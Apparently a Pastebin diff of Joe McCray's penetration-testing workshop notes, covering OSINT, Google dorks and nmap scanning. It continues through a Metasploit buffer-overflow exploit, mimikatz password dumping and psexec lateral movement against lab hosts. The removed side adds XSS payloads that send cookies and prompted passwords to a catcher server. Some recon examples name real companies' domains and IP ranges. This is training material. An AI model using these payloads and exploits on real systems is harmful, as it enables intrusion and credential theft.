SHOW:
|
|
- or go back to the newest paste.
| 1 | - | ################################################## |
| 1 | + | |
| 2 | - | # Advanced Pentesting High Security Environments # |
| 2 | + | # Pentester Night School 2016 # |
| 3 | - | # By Joe McCray # |
| 3 | + | # By Joe McCray # |
| 4 | - | ################################################## |
| 4 | + | |
| 5 | ||
| 6 | ||
| 7 | ########## | |
| 8 | # VMWare # | |
| 9 | ########## | |
| 10 | - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player. | |
| 11 | ||
| 12 | - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class. | |
| 13 | ||
| 14 | ||
| 15 | ########################## | |
| 16 | - | - A 30-day trial of Workstation 11 can be downloaded from here: |
| 16 | + | |
| 17 | - | - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/11_0 |
| 17 | + | |
| 18 | ||
| 19 | - | - A 30-day trial of Fusion 7 can be downloaded from here: |
| 19 | + | VM for these labs |
| 20 | - | - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/7_0 |
| 20 | + | ----------------- |
| 21 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
| 22 | - | - The newest version of VMWare Player can be downloaded from here: |
| 22 | + | |
| 23 | - | - https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/7_0 |
| 23 | + | |
| 24 | ||
| 25 | --------------------------------------------------------------------------------------------------------------------------------- | |
| 26 | ||
| 27 | ||
| 28 | ||
| 29 | ||
| 30 | ||
| 31 | ################################ | |
| 32 | - | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip |
| 32 | + | # Tactical Pentest Methodology # |
| 33 | ################################ | |
| 34 | ||
| 35 | The purpose of this section of the Pastebin document is to provide you with a tactical pentest plan. | |
| 36 | ||
| 37 | ||
| 38 | - | # Download the victim VMs # |
| 38 | + | |
| 39 | -=-=-=-=-=- Phase 1 -=-=-=-=-=- | |
| 40 | - | https://s3.amazonaws.com/StrategicSec-VMs/Windows7.zip |
| 40 | + | |
| 41 | - | user: workshop |
| 41 | + | |
| 42 | - | pass: password |
| 42 | + | ########################################## |
| 43 | # Step 1: External Target Identification # | |
| 44 | ########################################## | |
| 45 | - | https://s3.amazonaws.com/StrategicSec-VMs/windows8VM.zip |
| 45 | + | Find all of the IP ranges owned by your target company via the following websites: |
| 46 | - | user: StrategicSec |
| 46 | + | - https://www.robtex.com/ |
| 47 | - http://toolbar.netcraft.com/site_report | |
| 48 | ||
| 49 | Look for weak SSL implementations | |
| 50 | - https://www.ssllabs.com/ssltest/ | |
| 51 | ||
| 52 | - | ################################### |
| 52 | + | |
| 53 | - | # Let's start some Google Hacking # |
| 53 | + | |
| 54 | - | ################################### |
| 54 | + | |
| 55 | ############################# | |
| 56 | - | Open Firefox or Chrome and type the following into Google: |
| 56 | + | # Step 2: Google Quick Hits # |
| 57 | ############################# | |
| 58 | - | inurl:service.pwd filetype:pwd |
| 58 | + | |
| 59 | Be thorough, and really look for vulnerabilities and data leakages that are relevant to what you learned while doing your OSINT work. | |
| 60 | - | filetype:cfg intext:"enable password" cisco |
| 60 | + | |
| 61 | ||
| 62 | - | Found this site: http://www.opus1.com/nac/lv06configs/nap_lkdwncisco3550.cfg |
| 62 | + | Really good google dorks to use: |
| 63 | site:yourtarget.com filetype:pcf | |
| 64 | - | Then we searched for 'cisco password 7 cracker online' and found this site: |
| 64 | + | site:yourtarget.com filetype:ica |
| 65 | - | http://www.ibeast.com/content/tools/ciscopassword/ |
| 65 | + | |
| 66 | 1. Footholds: | |
| 67 | - | We pasted in this hash '06080E22424F0A4953' |
| 67 | + | ------------- |
| 68 | https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=1&ghdb_search_text= | |
| 69 | - | We then searched for 'GHDB' and found this site: |
| 69 | + | |
| 70 | Be sure to use 'site:yourtarget.com' [ google dork for the site above ] | |
| 71 | ||
| 72 | - | Then we learned the 'site:' Google search operator. You can use like this to target your GHDB query: |
| 72 | + | |
| 73 | 2. Passwords: | |
| 74 | - | site:secureninja.com inurl:service.pwd filetype:pwd |
| 74 | + | ------------- |
| 75 | https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=9&ghdb_search_text= | |
| 76 | - | We decided to attack CitiGroup |
| 76 | + | |
| 77 | Be sure to use 'site:yourtarget.com' [ google dork for the site above ] | |
| 78 | - | We started by looking for Citigroup in Wikipedia. |
| 78 | + | |
| 79 | - | https://en.wikipedia.org/wiki/Citigroup |
| 79 | + | |
| 80 | 3. Sensitive Directories: | |
| 81 | - | We figured out that they are public, not private. We also wanted to know key people, and subsidiaries (for potential social engineering). |
| 81 | + | ------------------------- |
| 82 | https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=3&ghdb_search_text= | |
| 83 | ||
| 84 | - | Next we went to https://www.robtex.com/ and searched for CitiGroup.com - we came up with https://www.robtex.com/en/advisory/dns/com/citigroup/ |
| 84 | + | Be sure to use 'site:yourtarget.com' [ google dork for the site above ] |
| 85 | ||
| 86 | ||
| 87 | - | The next website that we went to was: |
| 87 | + | |
| 88 | - | http://toolbar.netcraft.com/site_report/ |
| 88 | + | |
| 89 | Make sure that you do at least 50-100 different Google dorks. Do no less than 10 dorks per category. | |
| 90 | - | http://toolbar.netcraft.com/site_report/?url=citigroup.com |
| 90 | + | |
| 91 | ||
| 92 | - | We found out that they are using a Citrix Netscaler Load Balancer. |
| 92 | + | |
| 93 | - | 192.193.103.222 Citrix Netscaler |
| 93 | + | |
| 94 | - | 192.193.219.58 |
| 94 | + | # Step 3: Compromise Data # |
| 95 | ########################### | |
| 96 | - | site:citigroup.com filetype:pcf |
| 96 | + | Look to see if they have already been breached |
| 97 | - | site:citigroup.com filetype:ica |
| 97 | + | |
| 98 | - | site:citigroup.com filetype:doc |
| 98 | + | Search for the target company (and their major competitors) in the Data Breach Database |
| 99 | - | site:citigroup.com filetype:xls |
| 99 | + | http://www.privacyrights.org/data-breach |
| 100 | - | site:citigroup.com filetype:pdf |
| 100 | + | |
| 101 | Place targetgcompany.com in the search box of the link below to look known breaches | |
| 102 | - | Then we installed the Firefox Addon called Passive Recon: |
| 102 | + | http://zone-h.com/search |
| 103 | - | https://addons.mozilla.org/en-us/firefox/addon/passiverecon/ |
| 103 | + | |
| 104 | Replace targetgcompany.com with your target domain name to look for known XSS vulnerabilities in the site. | |
| 105 | - | Next we looked at an OSINT report: |
| 105 | + | http://xssed.com/search?key=targetcompany.com |
| 106 | ||
| 107 | ||
| 108 | ||
| 109 | ############################## | |
| 110 | # Step 4: Build OSINT Report # | |
| 111 | ############################## | |
| 112 | ||
| 113 | Passive Recon | |
| 114 | ------------- | |
| 115 | Install this add-on and enumerate as much info as possible | |
| 116 | - | ######################################## |
| 116 | + | - https://addons.mozilla.org/en-US/firefox/addon/passiverecon/ |
| 117 | - | # Boot up the StrategicSec Ubuntu host # |
| 117 | + | |
| 118 | - | ######################################## |
| 118 | + | |
| 119 | Next we build at an OSINT report with the data gleaned from the previous steps: | |
| 120 | - | - Log in to your Ubuntu host with the following credentials: |
| 120 | + | |
| 121 | - | user: strategicsec |
| 121 | + | |
| 122 | - | pass: strategicsec |
| 122 | + | |
| 123 | ||
| 124 | --------------------------------------------------------------------------------------------------------------------------------- | |
| 125 | ||
| 126 | - | - I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching this class in the same manner that I do pentests. |
| 126 | + | -=-=-=-=-=- Phase 2 -=-=-=-=-=- |
| 127 | - | - You can download Putty from here: |
| 127 | + | |
| 128 | - | - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe |
| 128 | + | |
| 129 | ########################## | |
| 130 | ||
| 131 | - | - For the purpose of this workshop my Win7 VM IP address is: 192.168.153.129 so anytime you see that IP you'll know that's my Win7 VM |
| 131 | + | VM for these labs |
| 132 | - | - 192.168.153.159 is my Ubuntu IP address so anytime you see that IP you'll know that's my Ubuntu host |
| 132 | + | ----------------- |
| 133 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
| 134 | - | ################################################### |
| 134 | + | |
| 135 | - | # Day 1: Identifying External Security Mechanisms # |
| 135 | + | |
| 136 | - | ################################################### |
| 136 | + | |
| 137 | ||
| 138 | ############################################ | |
| 139 | # Identifying External Security Mechanisms # | |
| 140 | ############################################ | |
| 141 | ||
| 142 | sudo /sbin/iptables -F | |
| 143 | strategicsec | |
| 144 | ||
| 145 | cd /home/strategicsec/toolz | |
| 146 | ||
| 147 | - | perl blindcrawl.pl -d motorola.com |
| 147 | + | |
| 148 | ||
| 149 | ########################### | |
| 150 | # Target IP Determination # | |
| 151 | ########################### | |
| 152 | cd /home/strategicsec/toolz | |
| 153 | - | fierce -dns motorola.com |
| 153 | + | perl blindcrawl.pl -d targetgcompany.com |
| 154 | ||
| 155 | -- Take each IP address and look ip up here: | |
| 156 | - | Zone Transfer fails on most domains, but here is an example of one that works: |
| 156 | + | |
| 157 | - | dig axfr heartinternet.co.uk @ns.heartinternet.co.uk |
| 157 | + | |
| 158 | cd ~/toolz/fierce2 | |
| 159 | fierce -dns targetgcompany.com | |
| 160 | cd .. | |
| 161 | ||
| 162 | ||
| 163 | ||
| 164 | cd ~/toolz/ | |
| 165 | ./ipcrawl 148.87.1.1 148.87.1.254 (DNS forward lookup against an IP range) | |
| 166 | ||
| 167 | - | sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255 Reference: http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html |
| 167 | + | |
| 168 | sudo nmap -sL 148.87.1.0-255 | |
| 169 | strategicsec | |
| 170 | ||
| 171 | sudo nmap -sL 148.87.1.0-255 | grep oracle | |
| 172 | strategicsec | |
| 173 | ||
| 174 | ||
| 175 | - | Here are some options to use for identifying load balancers: |
| 175 | + | sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255 |
| 176 | - | - news.netcraft.com |
| 176 | + | strategicsec |
| 177 | - | - Firefox LiveHTTP Headers |
| 177 | + | |
| 178 | Reference: | |
| 179 | http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html | |
| 180 | - | Here are some command-line options to use for identifying load balancers: |
| 180 | + | |
| 181 | ||
| 182 | ||
| 183 | ########################### | |
| 184 | # Load Balancer Detection # | |
| 185 | - | ./lbd-0.1.sh google.com |
| 185 | + | |
| 186 | Here are some command-line options to use for identifying load balancers: | |
| 187 | ||
| 188 | - | halberd microsoft.com |
| 188 | + | |
| 189 | - | halberd motorola.com |
| 189 | + | |
| 190 | - | halberd oracle.com |
| 190 | + | |
| 191 | ./lbd-0.1.sh targetgcompany.com | |
| 192 | ||
| 193 | ||
| 194 | halberd targetgcompany.com | |
| 195 | ||
| 196 | ||
| 197 | ||
| 198 | - | python wafw00f.py http://www.oracle.com |
| 198 | + | |
| 199 | - | python wafw00f.py http://www.strategicsec.com |
| 199 | + | |
| 200 | ###################################### | |
| 201 | ||
| 202 | cd ~/toolz/wafw00f | |
| 203 | - | sudo nmap -p 80 --script http-waf-detect.nse oracle.com |
| 203 | + | python wafw00f.py http://www.targetgcompany.com |
| 204 | ||
| 205 | - | sudo nmap -p 80 --script http-waf-detect.nse healthcare.gov |
| 205 | + | |
| 206 | sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com | |
| 207 | strategicsec | |
| 208 | ||
| 209 | sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com | |
| 210 | - | ####################################################### |
| 210 | + | strategicsec |
| 211 | - | # Day 1: 3rd Party Scanning, and scanning via proxies # |
| 211 | + | |
| 212 | - | ####################################################### |
| 212 | + | |
| 213 | --------------------------------------------------------------------------------------------------------------------------------- | |
| 214 | - | https://www.shodan.io |
| 214 | + | |
| 215 | -=-=-=-=-=- Phase 3 -=-=-=-=-=- | |
| 216 | - | Create a FREE account and login |
| 216 | + | Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover. |
| 217 | ||
| 218 | - | net:129.188.8.0/24 |
| 218 | + | So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN: |
| 219 | https://s3.amazonaws.com/StrategicSec-Files/Strategic-Security-2016-VPN-Info.pdf | |
| 220 | ||
| 221 | sudo nmap -sP 10.0.0.0/24 | |
| 222 | - | cd /home/strategicsec/toolz/ |
| 222 | + | |
| 223 | - | perl proxyfinder-0.3.pl multiproxy 3 proxies.txt <-- This takes a long time to run |
| 223 | + | sudo nmap -sL 10.0.0.0/24 |
| 224 | ||
| 225 | cd ~/toolz | |
| 226 | ||
| 227 | - | sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: ocks4 127.0.0.1 9050 |
| 227 | + | wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c |
| 228 | ||
| 229 | gcc ipcrawl.c -o ipcrawl | |
| 230 | ||
| 231 | chmod 777 ipcrawl | |
| 232 | - | ---------------------------------------------------------------------- |
| 232 | + | |
| 233 | - | vi ~/toolz/fix-proxychains-dns.sh |
| 233 | + | ./ipcrawl 10.0.0.1 10.0.0.254 |
| 234 | ||
| 235 | ||
| 236 | - | # This script is called by proxychains to resolve DNS names |
| 236 | + | |
| 237 | - | # DNS server used to resolve names |
| 237 | + | wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c |
| 238 | - | # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html |
| 238 | + | |
| 239 | - | DNS_SERVER=4.2.2.2 |
| 239 | + | gcc propecia.c propecia |
| 240 | ||
| 241 | - | if [ $# = 0 ] ; then |
| 241 | + | sudo cp propecia /bin |
| 242 | - | echo " usage:" |
| 242 | + | |
| 243 | - | echo " proxyresolv <hostname> " |
| 243 | + | propecia 10.0.0 22 |
| 244 | - | exit |
| 244 | + | |
| 245 | - | fi |
| 245 | + | propecia 10.0.0 3389 |
| 246 | ||
| 247 | - | export LD_PRELOAD=libproxychains.so.3 |
| 247 | + | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open |
| 248 | - | dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
|
| 248 | + | |
| 249 | - | ----------------------------------------------------------------------- |
| 249 | + | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
|
| 250 | ||
| 251 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
| |
| 252 | - | sudo ntpdate pool.ntp.org |
| 252 | + | |
| 253 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
| |
| 254 | - | tor-resolve strategicsec.com |
| 254 | + | |
| 255 | nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
| |
| 256 | - | proxychains nmap -sT -p80 52.11.62.192 |
| 256 | + | |
| 257 | cd ~/toolz | |
| 258 | - | proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 52.11.62.192 |
| 258 | + | wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2 |
| 259 | tar -jxvf wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2 | |
| 260 | sudo cp wkhtmltoimage-i386 /usr/local/bin/ | |
| 261 | - | If you want to block tor exit nodes you get a list from here: |
| 261 | + | |
| 262 | - | http://rules.emergingthreats.net/blockrules/emerging-tor-BLOCK.rules |
| 262 | + | git clone git://github.com/SpiderLabs/Nmap-Tools.git |
| 263 | cd Nmap-Tools/NSE/ | |
| 264 | - | You probably should also block things like: |
| 264 | + | sudo cp http-screenshot.nse /usr/share/nmap/scripts/ |
| 265 | - | http://rules.emergingthreats.net/blockrules/emerging-rbn-BLOCK.rules <----- Russian Business Network IPs |
| 265 | + | sudo nmap --script-updatedb |
| 266 | - | http://rules.emergingthreats.net/blockrules/emerging-botcc.rules <----- BotNet Command and Control Servers |
| 266 | + | |
| 267 | - | http://rules.emergingthreats.net/blockrules/emerging-rbn-malvertisers-BLOCK.rules <----- Malware Advertisers |
| 267 | + | |
| 268 | mkdir labscreenshots | |
| 269 | - | Here is where you can download the perl script to automatically update your firewall each day (create a cron job for it). |
| 269 | + | cd labscreenshots/ |
| 270 | - | http://doc.emergingthreats.net/bin/view/Main/EmergingFirewallRules |
| 270 | + | |
| 271 | sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/strategicsec/labnet-ip-list.txt | |
| 272 | ||
| 273 | ||
| 274 | ||
| 275 | ||
| 276 | vi screenshots.sh | |
| 277 | - | ################################## |
| 277 | + | |
| 278 | - | # Basic: Web Application Testing # |
| 278 | + | |
| 279 | - | ################################## |
| 279 | + | printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html |
| 280 | ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
| |
| 281 | printf "</BODY></HTML>" >> labnet-port-80-screenshots.html | |
| 282 | - | The basics of web app pentesting |
| 282 | + | |
| 283 | ||
| 284 | - | Start with simple firefox addons: |
| 284 | + | |
| 285 | ||
| 286 | - | - ShowIP https://addons.mozilla.org/en-US/firefox/addon/showip/ |
| 286 | + | |
| 287 | - | - Server Spy https://addons.mozilla.org/en-US/firefox/addon/server-spy/ |
| 287 | + | sh screenshots.sh |
| 288 | - | - FoxyProxy https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/ |
| 288 | + | |
| 289 | - | - Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ |
| 289 | + | |
| 290 | ||
| 291 | - | A good list of web app testing add ons for Firefox: |
| 291 | + | |
| 292 | - | https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/ |
| 292 | + | |
| 293 | # Nmap NSE tricks to try # | |
| 294 | ########################## | |
| 295 | - | The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site. |
| 295 | + | sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24 |
| 296 | ||
| 297 | - | 1. Does the website talk to a DB? |
| 297 | + | sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24 |
| 298 | - | - Look for parameter passing (ex: site.com/page.php?id=4) |
| 298 | + | |
| 299 | - | - If yes - try SQL Injection |
| 299 | + | sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24 |
| 300 | ||
| 301 | - | 2. Can I or someone else see what I type? |
| 301 | + | sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24 |
| 302 | - | - If yes - try XSS |
| 302 | + | |
| 303 | sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24 | |
| 304 | - | 3. Does the page reference a file? |
| 304 | + | |
| 305 | - | - If yes - try LFI/RFI |
| 305 | + | sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24 |
| 306 | ||
| 307 | - | Let's start with some manual testing against 54.149.82.150 in the lab network. |
| 307 | + | sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24 |
| 308 | ||
| 309 | sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24 | |
| 310 | - | Start here: |
| 310 | + | |
| 311 | - | http://54.149.82.150/ |
| 311 | + | sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24 |
| 312 | ||
| 313 | sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24 | |
| 314 | - | There's no parameter passing on the home page so the answer to question 1 is NO. |
| 314 | + | |
| 315 | - | There is however a search box in the top right of the webpage, so the answer to question 2 is YES. |
| 315 | + | sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24 |
| 316 | ||
| 317 | - | Try an XSS in the search box on the home page: |
| 317 | + | sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24 |
| 318 | - | <script>alert(123);</script> |
| 318 | + | |
| 319 | ||
| 320 | - | Doing this gives us the following in the address bar: |
| 320 | + | |
| 321 | - | http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script> |
| 321 | + | |
| 322 | #################################### | |
| 323 | - | Ok, so we've verified that there is XSS in the search box. |
| 323 | + | # Finally, let's exploit something # |
| 324 | #################################### | |
| 325 | - | Let's move on to the search box in the left of the page. |
| 325 | + | |
| 326 | nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
| |
| 327 | - | Let's give the newsletter signup box a shot |
| 327 | + | |
| 328 | nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15 | |
| 329 | ||
| 330 | https://www.exploit-db.com/search | |
| 331 | ||
| 332 | - | ################################################################### |
| 332 | + | Search for: |
| 333 | - | # What is XSS # |
| 333 | + | Savant httpd 3.1 |
| 334 | - | # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx # |
| 334 | + | Apache httpd 2.0.58 ((Win32)) |
| 335 | - | ################################################################### |
| 335 | + | |
| 336 | ||
| 337 | - | OK - what is Cross Site Scripting (XSS) |
| 337 | + | Found one written in Python: |
| 338 | https://www.exploit-db.com/exploits/18401/ | |
| 339 | - | 1. Use Firefox to browse to the following location: |
| 339 | + | |
| 340 | Found one for Savant 3.1 from Metasploit: | |
| 341 | - | http://54.186.248.116/xss_practice/ |
| 341 | + | https://www.exploit-db.com/exploits/16770/ |
| 342 | ||
| 343 | - | A really simple search page that is vulnerable should come up. |
| 343 | + | |
| 344 | ||
| 345 | cd ~/toolz/metasploit | |
| 346 | ./msfconsole | |
| 347 | use exploit/windows/http/savant_31_overflow | |
| 348 | - | 2. In the search box type: |
| 348 | + | set RHOST 10.0.0.15 |
| 349 | set PAYLOAD windows/meterpreter/bind_nonx_tcp | |
| 350 | - | <script>alert('So this is XSS')</script>
|
| 350 | + | set RPORT 80 |
| 351 | set LPORT 7777 | |
| 352 | exploit | |
| 353 | - | This should pop-up an alert window with your message in it proving XSS is in fact possible. |
| 353 | + | |
| 354 | - | Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/ |
| 354 | + | |
| 355 | ||
| 356 | ||
| 357 | - | 3. In the search box type: |
| 357 | + | |
| 358 | ||
| 359 | - | <script>alert(document.cookie)</script> |
| 359 | + | |
| 360 | ||
| 361 | meterpreter> sysinfo | |
| 362 | - | This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. |
| 362 | + | |
| 363 | - | Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/ |
| 363 | + | |
| 364 | meterpreter> getuid | |
| 365 | - | 4. Now replace that alert script with: |
| 365 | + | |
| 366 | ||
| 367 | - | <script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script> |
| 367 | + | |
| 368 | ||
| 369 | ||
| 370 | - | This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. |
| 370 | + | |
| 371 | ||
| 372 | ||
| 373 | - | 5. Now view the stolen cookie at: |
| 373 | + | |
| 374 | - | http://54.186.248.116/xss_practice/cookie_stealer_logs.html |
| 374 | + | |
| 375 | ||
| 376 | ||
| 377 | - | The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to. |
| 377 | + | |
| 378 | ||
| 379 | ||
| 380 | meterpreter> use priv | |
| 381 | ||
| 382 | ||
| 383 | ||
| 384 | - | ############################ |
| 384 | + | |
| 385 | - | # A Better Way To Demo XSS # |
| 385 | + | |
| 386 | - | ############################ |
| 386 | + | |
| 387 | meterpreter > getuid | |
| 388 | Server username: NT AUTHORITY\SYSTEM | |
| 389 | - | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. |
| 389 | + | |
| 390 | -------------------------------------------------------- | |
| 391 | ||
| 392 | - | Use Firefox to browse to the following location: |
| 392 | + | |
| 393 | ||
| 394 | - | http://54.186.248.116/xss_practice/ |
| 394 | + | |
| 395 | ||
| 396 | Got the following admin hash: | |
| 397 | Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363::: | |
| 398 | - | Paste this in the search box |
| 398 | + | |
| 399 | - | ---------------------------- |
| 399 | + | |
| 400 | ||
| 401 | meterpreter > load mimikatz | |
| 402 | - | Option 1 |
| 402 | + | |
| 403 | - | -------- |
| 403 | + | |
| 404 | ||
| 405 | - | <script> |
| 405 | + | This should give me the administrative password: |
| 406 | - | password=prompt('Your session is expired. Please enter your password to continue',' ');
|
| 406 | + | )K5?Jocb(Yx |
| 407 | - | document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
|
| 407 | + | |
| 408 | - | </script> |
| 408 | + | |
| 409 | ********************************** Enumerate the host you are on ********************************** | |
| 410 | ||
| 411 | - | Now view the stolen cookie at: |
| 411 | + | |
| 412 | - | http://54.186.248.116/xss_practice/passwords.html |
| 412 | + | |
| 413 | meterpreter > run post/windows/gather/enum_applications | |
| 414 | ||
| 415 | meterpreter > run post/windows/gather/enum_logged_on_users | |
| 416 | - | Option 2 |
| 416 | + | |
| 417 | - | -------- |
| 417 | + | |
| 418 | - | <script> |
| 418 | + | |
| 419 | - | username=prompt('Please enter your username',' ');
|
| 419 | + | |
| 420 | - | password=prompt('Please enter your password',' ');
|
| 420 | + | |
| 421 | - | document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
|
| 421 | + | |
| 422 | - | </script> |
| 422 | + | |
| 423 | meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run | |
| 424 | ||
| 425 | ||
| 426 | ********************************** Get out of Meterpreter ********************************** | |
| 427 | - | Now view the stolen cookie at: |
| 427 | + | |
| 428 | - | http://54.186.248.116/xss_practice/username_password_logs.html |
| 428 | + | |
| 429 | ||
| 430 | msf exploit(savant_31_overflow) > back | |
| 431 | ||
| 432 | msf> | |
| 433 | ||
| 434 | - | Moving on to the login page. |
| 434 | + | |
| 435 | - | http://54.149.82.150/login.aspx |
| 435 | + | |
| 436 | ||
| 437 | - | I entered a single quote (') for both the user name and the password. I got the following error:
|
| 437 | + | ********************************** Lateral Movement ******************************* |
| 438 | ||
| 439 | - | ----------------------------------------------------------------- |
| 439 | + | |
| 440 | - | 'Users//User[@Name=''' and @Password=''']' has an invalid token. |
| 440 | + | Now we can run the PSEXEC exploit. |
| 441 | - | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. |
| 441 | + | |
| 442 | -- Option 1: | |
| 443 | - | Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token. |
| 443 | + | |
| 444 | ||
| 445 | - | Source Error: |
| 445 | + | set SMBUser Administrator |
| 446 | ||
| 447 | set SMBPass )K5?Jocb(Yx | |
| 448 | - | Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
|
| 448 | + | |
| 449 | - | Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']"; |
| 449 | + | set RHOST 10.0.0.15 |
| 450 | - | Line 114: XmlNodeList xmln = doc.SelectNodes(credential); |
| 450 | + | |
| 451 | - | Line 115: //String test = xmln.ToString(); |
| 451 | + | set payload windows/meterpreter/bind_tcp |
| 452 | - | Line 116: if (xmln.Count > 0) |
| 452 | + | |
| 453 | set LPORT 2345 | |
| 454 | - | ----------------------------------------------------------------- |
| 454 | + | |
| 455 | exploit | |
| 456 | ||
| 457 | - | Hmm....System.Xml.XPath.XPathException.....that's not SQL. |
| 457 | + | ********************************** Get out of Meterpreter ********************************** |
| 458 | ||
| 459 | - | WTF is this: |
| 459 | + | |
| 460 | - | Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
|
| 460 | + | |
| 461 | msf exploit(psexec) >back | |
| 462 | ||
| 463 | - | Let's check it out: |
| 463 | + | msf> |
| 464 | - | http://54.149.82.150/AuthInfo.xml |
| 464 | + | |
| 465 | ********************************** | |
| 466 | - | Looks like we found passwords!!!!!!!!!! |
| 466 | + | |
| 467 | -- Option 2: | |
| 468 | use exploit/windows/smb/psexec | |
| 469 | - | Looks like there no significant new functionality after logging in with the stolen credentials. |
| 469 | + | |
| 470 | set SMBUser Administrator | |
| 471 | - | Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links |
| 471 | + | |
